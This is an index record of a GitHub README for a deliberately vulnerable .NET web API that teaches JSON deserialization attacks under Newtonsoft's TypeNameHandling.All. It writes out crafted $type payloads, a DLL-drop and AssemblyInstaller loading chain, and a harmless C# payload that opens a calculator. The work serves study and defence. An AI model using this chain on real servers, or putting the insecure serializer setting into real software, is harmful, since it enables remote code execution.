{"id":16812054,"url":"https://github.com/arale61/vulnjsonwebapi","last_synced_at":"2026-04-17T11:32:23.434Z","repository":{"id":185168616,"uuid":"672960826","full_name":"arale61/VulnJsonWebApi","owner":"arale61","description":"Example of a json (de)serialization vulnerability and attack for dotnet based web api with insecure config for random json serializer.","archived":false,"fork":false,"pushed_at":"2023-08-10T06:32:12.000Z","size":1223,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-03-17T11:14:24.898Z","etag":null,"topics":["deserialization","dotnet","json"],"latest_commit_sha":null,"homepage":"","language":"C#","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/arale61.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-07-31T14:50:46.000Z","updated_at":"2023-08-02T14:10:37.000Z","dependencies_parsed_at":null,"dependency_job_id":"339b3d41-9284-4d87-bb0a-2d3661dbb5ca","html_url":"https://github.com/arale61/VulnJsonWebApi","commit_stats":null,"previous_names":["arale61/vulnjsonwebapi"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/arale61/VulnJsonWebApi","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/arale61%2FVulnJsonWebApi","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/arale61%2FVulnJsonWebApi/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/arale61%2FVulnJsonWebApi/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/arale61%2FVulnJsonWebApi/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/arale61","download_url":"https://codeload.github.com/arale61/VulnJsonWebApi/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/arale61%2FVulnJsonWebApi/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":31927785,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-17T10:35:34.458Z","status":"ssl_error","status_checked_at":"2026-04-17T10:35:09.472Z","response_time":62,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["deserialization","dotnet","json"],"created_at":"2024-10-13T10:20:31.952Z","updated_at":"2026-04-17T11:32:23.419Z","avatar_url":"https://github.com/arale61.png","language":"C#","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Json (de)serialization in dotnet - VulnJsonWebApi\n\nExample for a **[dotnet](https://dotnet.microsoft.com/) web api** exposing **JSON deserialization vulnerabilities**.\n\n# Motivation\n\n**Demo** for Json deserialization vulnerability in a dotnet web api.\n\nThe main **goal** for this **demo** is for having a **hands on**, learning of basics, and understanding the **(de)serialization exploitation process** due to **insecure configurations for the (de)Serializers**.\n\nBecause of historic popularity, I've chosen to use for the demo the **Json Serializer from NewtonSoft** but this **is not so relevant**. The **important** part is **identifying and understanding** the **configuration** for the corresponding **Serializer** when **type resolution/name-handling is enabled**.\n\n\n# .Net Json Deserialization Vulnerabilities and Attacks\n\nFor a detailed information on **.Net Deserializations Attacks**, please, **consider to read more** on [**Alvaro Muñoz great work on the topic**](https://speakerdeck.com/pwntester/attacking-net-serialization). Also consider visiting the [YSoSerial.Net](https://github.com/pwntester/ysoserial.net) tool.\n\n\n# How to Start the web api\n\n## Requirements\n\n* [dotnet sdk 7](https://dotnet.microsoft.com/en-us/download)\n\n```\ndotnet --version\n7.0.306\n\nAny browser\n```\n\n## Running the web api\n\nThe vulnerable web api:\n\n\n```bash\ngit clone https://github.com/arale61/VulnJsonWebApi.git\n\ncd VulnJsonWebApi\ncd VulnJsonWebApi\n\ndotnet run\n```\n\nCheck the port the dev web server is listening to in the output:\n\n```bash\ndotnet run\nBuilding...\n[...]\ninfo: Microsoft.Hosting.Lifetime[14]\n      Now listening on: http://localhost:5052\ninfo: Microsoft.Hosting.Lifetime[0]\n      Application started. Press Ctrl+C to shut down.\n[...]\n```\n\nBrowse to the **http://locahost:PORT/swagger**, in my example was http://localhost:5052/swagger but yours may vary, so check the **PORT number**:\n\n![swagger api](images/swagger.png)\n\nYou can try now to invoke the **GET** or **POST** requests for the **WeatherForecast resource**.\n\n\n# Deserialization Attack\n\nHaving running the web api, make a **GET Request** with the **swagger form**:\n\n![swagger GET request](images/swagger_get.png)\n\nPay attention to the **result json**:\n\n```json\n{\n  \"$type\": \"VulnJsonWebApi.WeatherForecast[], VulnJsonWebApi\",\n  \"$values\": [\n    {\n      \"$type\": \"VulnJsonWebApi.WeatherForecast, VulnJsonWebApi\",\n      \"id\": \"bb2f68dc-b8e5-45e6-9e22-923cd924914d\",\n      \"date\": \"2023-08-01\",\n      \"temperatureC\": -14,\n      \"temperatureF\": 7,\n      \"summary\": \"Chilly\",\n      \"rawData\": null\n    },\n    // ...\n  ]\n}\n```\n\nFor the **json objects** there is a **$type** property specifying type information.\n\nIn this particular case, corresponds on the **attribute** that **Newtonsoft** is using for adding the **type information** required for **deserializing back to an object**.\nBut other **Serializers adopt similar strategies** so just keep in mind the concept of specifying type information in the **serialized version** that later is used for **constructing a new instance** for that **type**, in the **deserialization process**.\n\n## Identifying Serializer Settings\n\n```c#\nbuilder\n    .Services\n    .AddControllers()\n    .AddNewtonsoftJson((options) =\u003e\n    {\n        options.SerializerSettings.TypeNameHandling = Newtonsoft.Json.TypeNameHandling.All;\n    });\n```\n\nIn this particular case, **Newtonsoft Json Serializer** is using **type name handling** with the **All** setting, allowing the serializer to try to handle any requested type as far as it founds it loaded in memory. Other than **None** for this setting using **Newtonsoft** is considered **insecure** and needs to be used carefuly, probably acompanied with a **white list of allowed types**.\n\n\n### Sample of **insecure configuration**:\n\nChecking at the **Program.cs** file for the **web api** project we can see the **insecure configuration**.\n\nThis configuration is specially insecure when the **json serialized** is managed or influenced by untrusted sources, as any http client.\n\n\n![Insecure Config](images/json_insec_config.png)\n\n\n## Identifying a valid Placeholder\n\nIn order to **exploit the insecure configuration** we need to find the chance for the **Serializer** to try to create an **instance** of a class we can take profit of, let's call all these family of classes, **insecure classes for deserialization**.\n\n### rawData property\n\nPlaying a bit with the swagger api you can notice that the **rawData** for a **WeatherForecast** accepts any type or even object you send to it:\n\nSending the following:\n\n```json\n{\n    \"$type\": \"VulnJsonWebApi.WeatherForecast, VulnJsonWebApi\",\n    \"id\": \"bb2f68dc-b7e5-45e6-9e22-923cd924914d\",\n    \"date\": \"2023-08-01\",\n    \"temperatureC\": -14,\n    \"temperatureF\": 7,\n    \"summary\": \"Chilly\",\n    \"rawData\": \"String type for test\"\n}\n```\n\nOr, these one:\n\n```json\n{\n    \"$type\": \"VulnJsonWebApi.WeatherForecast, VulnJsonWebApi\",\n    \"id\": \"bb2f68dc-b7e5-45e6-9e22-923cd924915d\",\n    \"date\": \"2023-08-01\",\n    \"temperatureC\": -14,\n    \"temperatureF\": 7,\n    \"summary\": \"Chilly\",\n    \"rawData\": {\n        \"id\": 0,\n        \"name\": \"test\"\n    }\n}\n```\n\nAll them work...\n\n![rawData vulnerable](images/swagger_posts_rawdata.png)\n\nThis may seem flexible or maybe is **vulnerable**.\n\nIf we try to create a child **WeatherForecast** object we see it works!:\n\n```json\n{\n    \"$type\": \"VulnJsonWebApi.WeatherForecast, VulnJsonWebApi\",\n    \"id\": \"bb2f68dc-b7e5-45f6-9e24-943cd924915d\",\n    \"date\": \"2023-08-01\",\n    \"temperatureC\": -14,\n    \"temperatureF\": 7,\n    \"summary\": \"Chilly Parent\",\n    \"rawData\": {\n        \"$type\": \"VulnJsonWebApi.WeatherForecast, VulnJsonWebApi\",\n        \"id\": \"bb2f68dc-b1e5-41e6-9e34-943cd924915e\",\n        \"date\": \"2023-08-01\",\n        \"temperatureC\": -14,\n        \"temperatureF\": 7,\n        \"summary\": \"Chilly Sub\",\n        \"rawData\": {\n            \"id\": 0,\n            \"name\": \"test Sub\"\n        }\n    }\n}\n```\n\n![swagger placeholder](images/swagger_placeholder_found.png)\n\n\nFor simplicity reasons, I defined the **rawData** property in the **WeatherForecast** class as **object**.\nThis will enable the **Serializer** to create any instance without dealing with **error situations**.\n\n![WeatherForeCast rawData](images/weatherforecast_rawdata.png)\n\nBut keep in mind this **placeholder** or **placehoder for using an insecure class for deserialization** may not be in this form, there are **other ways of misusing the serializer to serialize an object**, for example, deserializing into an object and just after casting for a specific type, firing any exceptions, but it will already be too late, since the **payload was executed at the moment the instance was created**.\n\n\n# Insecure classes for (de)serialization\n\nNow that we can try to trick the **Serializer** to create any instance we like, is time to find **one of these insecure classes for serilization**.\n\n\n## Classes with interesting pieces of code\n\nIn the **.Net Framework (not the case in dotnet or .net Core)** there were quite number of insecure classes scattered in the framework. [YSoSerial.Net](https://github.com/pwntester/ysoserial.net) generates **payloads** for lots of them, and for many different **serializers and formatters**. \n\nThese classes are not well suited in a **insecure serialization context**.\n\nFor example, take a look at the following *class* present in the **web api**:\n\n![VulnerableFileWrapper](images/vulnerablefilewrapper.png)\n\nThis class presents some **code** in the **setter** for the **Content** property. In this case, the **code** will call another function **SaveContent**. Meaning that we can potentially **use it for arbitrary remote writes**.\n\nDespite is a very obvious way to spot the problem, there are other forms that are not that clear, for example, in C#, classes implementing *ISerializable* and marked as *[Serializable]*, need to implement a specific **constructor** and **GetObjectData method for serialization support**, check the class **OtherBadConstructs** as an example:\n\n![OtherBadConstructs](images/otherbadconstruct.png)\n\nEven this *class* is **not used in any part of the web api code** is still in the **dll** and **accessible** by the **Serializer with the mentioned settings**.\n\n### Create an instance of **VulnerableFileWrapper** or **OtherBadConstructs** to create a text file in a temp folder\n\nTry to build a json payload to create a text file.\n\n\n## dotnet is free of insecure classes\n\nThis is **not true**.\n\n**Microsoft** has put lot of effort on preventing these insecure implementations and design of classes in their **domain area** and **packages**. But There are other **vendors** and all them can publish on **nuget** their **packages** and **share them to the community**.\n\nOr any developer may introduce these problems, and without knowing it, present this vulnerable surface.\n\nTake as an example a **nuget package I found some years ago, at early years for dotnet**, still used today significally, called [Core.System.Configuration.Install](https://www.nuget.org/packages/Core.System.Configuration.Install/).\n\nStats while writing this Readme:\n```\nTotal 721.9K\nCurrent version 447.3K\nPer day average 395\n```\n\nThe [Github Project Site](https://github.com/flamencist/Core.System.Configuration.Install) describes it as a dotnet Core port of the **System.Configuration.Install** of full framework .NET 4.0.\n\n**System.Configuration.Install** was a known **insecure class for deserialization** and now is available on **dotnet** (well, it has already been available for many years).\n\n\n### System.Configuration.Install.AssemblyInstaller\n\nThis class presents a gadget, a piece of code, that enables to load a random assembly into memory.\n\n![AssemblyInstaller.Path](images/assemblyinstaller.png)\n\n\n## Attacking the web api\n\nI've installed the package **Core.System.Configuration.Install** in the **web api** project.\n\nIt's not referenced in my user code, but is referenced as a nuget dependency.\n\nYou can try to follow these steps:\n\nBuild the **AutoLoadClassLib**, sorry for the name, is just a normal class library.\n\n```bash\ncd AutoLoadClassLib\ndotnet build\n\n```\n\nThen, create the base64 encoded version:\n\n```bash\ncat bin/Debug/net7.0/AutoLoadClassLib.dll| base64 -w0\u003e ./dolenta.dll.b64\n```\n\nThen, use that **base64** (without newlines) to create this dll remotely, **sending a POST to WeatherForecast resource** using the **rawData** as a placeholder for creating a new **VulnerableFileWrapper** with the base64 as the content.\n\n![Copy dll](images/copy_dll.png)\n\nThe **web api** should process the request as normally.\n\nBut now a dll has been been created on the specified path:\n\n![dll Created](images/dll_created.png)\n\nNow is time for using **System.Configuration.Install.AssemblyInstaller** to load our dll!\n\nCreate a new POST Request and this time use the **System.Configuration.Install.AssemblyInstaller** class, specifying a **Path** value that points to the newly created **dll**.\n\nAfter doing this step, you could inspect the loaded dll's into the web api process and you will see that our newly created dll is loaded!\n\nFor example, in windows, you can use [ListDlls from SysInternals](https://learn.microsoft.com/en-us/sysinternals/downloads/listdlls) for checking that the dll has been loaded:\n\n```bash\n    ~/.local/opt/ListDlls/Listdlls64.exe 22000 | grep -E '(Vuln|test)'\n\n```\n\nOutputs:\n\n```\n    [...]\n    0x0000000013820000  0x8000    c:\\\\programdata\\\\test.dll\n        Verified:       Unsigned\n        Publisher:      AutoLoadClassLib\n        Description:    AutoLoadClassLib\n        Product:        AutoLoadClassLib\n        Version:        1.0.0.0\n        File version:   1.0.0.0\n        Create time:    Mon Aug 02 17:17:21 2060\n\n```\n\nNow, the web api process has loaded into memory our dll that we just copied, abusing the (de)serialization process due to an insecure configuration.\n\n\nIf you did all the steps correctly, now if you invoke our *class*, in my sample, **AutoLoadClassLib.Class1**, from the loaded dll, **AutoLoadClassLib**, you will trigger some **RCE**.\n\nUse the following json to invoke the class in our dummy class library in the **rawData**:\n\n```json\n{\n    \"$type\": \"AutoLoadClassLib.Class1, AutoLoadClassLib\",\n    \"fire\":61\n}\n```\n\nIn windows you should see pop a **Calculator**, while in linux a new file **/tmp/arale_was_here** should be created.\n\nThis is the definition for **AutoLoadClassLib.Class1**:\n\n```c#\nusing System.Diagnostics;\nusing System.Runtime.InteropServices;\n\nnamespace AutoLoadClassLib\n{\n    public class Class1\n    {\n        private int fire = 0;\n        public Class1()\n        {\n        }\n\n        public int Fire\n        {\n            get { return fire; }\n            set \n            { \n                fire = value;\n                if(value == 61)\n                {\n                    if (RuntimeInformation.IsOSPlatform(OSPlatform.Linux))\n                    {\n                        File.WriteAllText(\"/tmp/arale_was_here\", \"arale61 was here\");\n                    }\n                    else if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))\n                    {\n                        Process.Start(\"calc.exe\");\n                    }\n                    else\n                    {\n                        throw new NotSupportedException(\"OS Platform not supported!\");\n                    }\n                }\n            }\n        }\n    }\n}\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Farale61%2Fvulnjsonwebapi","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Farale61%2Fvulnjsonwebapi","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Farale61%2Fvulnjsonwebapi/lists"}